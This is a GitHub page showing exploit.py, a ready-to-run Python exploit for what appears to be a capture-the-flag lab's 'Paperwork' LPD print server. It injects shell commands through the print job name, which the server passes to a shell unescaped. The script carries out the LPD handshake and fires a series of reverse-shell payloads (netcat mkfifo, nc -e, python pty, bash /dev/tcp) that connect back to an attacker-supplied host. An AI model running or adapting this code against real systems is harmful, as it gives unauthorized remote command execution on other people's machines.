Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
187 lines (156 loc) · 6.1 KB
/
Copy pathexploit.py
File metadata and controls
187 lines (156 loc) · 6.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3
"""
Paperwork LPD RCE — Precision exploit
Reverse-engineered from server source.
Server runs:
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
Injection (single-quote breakout):
job_name = "'; PAYLOAD; #"
result = echo 'Archive: '; PAYLOAD; #' >> /tmp/archive.log
"""
import argparse, socket, time, sys
def build_payloads(lhost, lport):
h, p = lhost, lport
return [
("mkfifo",
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {h} {p} >/tmp/f"),
("nc_e",
f"nc {h} {p} -e /bin/sh"),
("nc_c",
f"nc -c sh {h} {p}"),
("python3",
f"python3 -c \""
f"import socket,os,pty;"
f"s=socket.socket();h='{h}';s.connect((h,{p}));"
f"[os.dup2(s.fileno(),f) for f in(0,1,2)];"
f"pty.spawn('/bin/sh')"
f"\""),
("python",
f"python -c \""
f"import socket,os,pty;"
f"s=socket.socket();h='{h}';s.connect((h,{p}));"
f"[os.dup2(s.fileno(),f) for f in(0,1,2)];"
f"pty.spawn('/bin/sh')"
f"\""),
("bash",
f"bash -i >& /dev/tcp/{h}/{p} 0>&1"),
]
def lpd_exploit(host, port, queue, job_name, timeout=6):
"""
Server flow (from source):
recv(1024) → command byte + queue name (no ACK sent)
while True:
recv(1024) → subcommand + size + filename [the header chunk]
send(\x00) → ACK header immediately
recv(size) → control content (H/P/J lines)
extract J line → job_name
Popen(...) → non-blocking, fires immediately
send(\x00\x00)
drain + break
"""
# Control content — server reads exactly this many bytes
control = (
f"Hlocalhost\n"
f"Proot\n"
f"J{job_name}\n"
).encode()
# Header chunk: subcommand(1B) + size + space + filename + \n
header = f"\x02{len(control)} cfA001localhost\n".encode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
s.connect((host, port))
# Step 1: queue selection — server does NOT send an ACK here
s.sendall(b"\x02" + queue.encode() + b"\n")
time.sleep(0.3)
# Step 2: header chunk — server ACKs immediately with \x00
s.sendall(header)
ack = s.recv(1)
if ack != b"\x00":
print(f" [-] Bad ACK after header: {ack!r}")
return False
# Step 3: control content — server reads len(control) bytes then runs Popen
s.sendall(control)
# Step 4: server sends \x00\x00 after Popen (non-blocking)
try:
s.recv(2)
except socket.timeout:
# Shell blocking the recv — Popen still fired, this is fine
pass
return True
except ConnectionRefusedError:
print(f" [-] Connection refused — check port {port}")
return False
except Exception as e:
print(f" [-] {e}")
return False
finally:
try: s.close()
except: pass
# ── Main ─────────────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(
description="Paperwork LPD RCE — Precision exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Examples:\n"
" # Try ALL payloads one by one:\n"
" python3 poc.py 10.129.x.x --lhost 10.10.14.x --lport 443\n\n"
" # Try a specific payload:\n"
" python3 poc.py 10.129.x.x --lhost 10.10.14.x --lport 443 --payload mkfifo\n\n"
" # Test RCE without a listener (writes /tmp/rce_proof.txt):\n"
" python3 poc.py 10.129.x.x --proof\n"
),
)
ap.add_argument("host", help="Target IP")
ap.add_argument("-p", "--port", type=int, default=1515)
ap.add_argument("-q", "--queue", default="archive_intake")
ap.add_argument("--lhost", default=None, help="Your IP")
ap.add_argument("--lport", type=int, default=443)
ap.add_argument("--payload", default="all",
help="mkfifo | nc_e | nc_c | python3 | python | bash | all")
ap.add_argument("--proof", action="store_true",
help="No-callback test — writes /tmp/rce_proof.txt on target")
ap.add_argument("--delay", type=float, default=2.0,
help="Seconds between attempts (default 2)")
args = ap.parse_args()
print("=" * 60)
print(" Paperwork LPD — Precision Shell Injection")
print("=" * 60)
print(f" Target : {args.host}:{args.port}")
print(f" Queue : {args.queue}")
if args.lhost:
print(f" Lhost : {args.lhost}:{args.lport}")
print(f" Inject : echo 'Archive: '; CMD; #' >> /tmp/archive.log")
print("=" * 60)
# Build run list
if args.proof:
run_list = [("proof", "id > /tmp/rce_proof.txt && hostname >> /tmp/rce_proof.txt")]
elif args.lhost:
all_p = build_payloads(args.lhost, args.lport)
if args.payload != "all":
all_p = [(n, c) for n, c in all_p if n == args.payload]
if not all_p:
names = [n for n, _ in build_payloads("x", 1)]
print(f"[-] Unknown payload. Options: {names}")
sys.exit(1)
run_list = all_p
else:
ap.error("Provide --lhost YOUR_IP or use --proof to test RCE without a callback")
# Fire
for name, cmd in run_list:
job_name = f"'; {cmd}; #"
print(f"\n[~] {name}")
print(f" {cmd}")
ok = lpd_exploit(args.host, args.port, args.queue, job_name)
if ok:
if args.proof:
print(f"[+] Sent — check /tmp/rce_proof.txt on the target")
else:
print(f"[+] Sent — watch your listener!")
time.sleep(args.delay)
print(f"\n{'=' * 60}")
print(" Done.")
print("=" * 60)
if __name__ == "__main__":
main()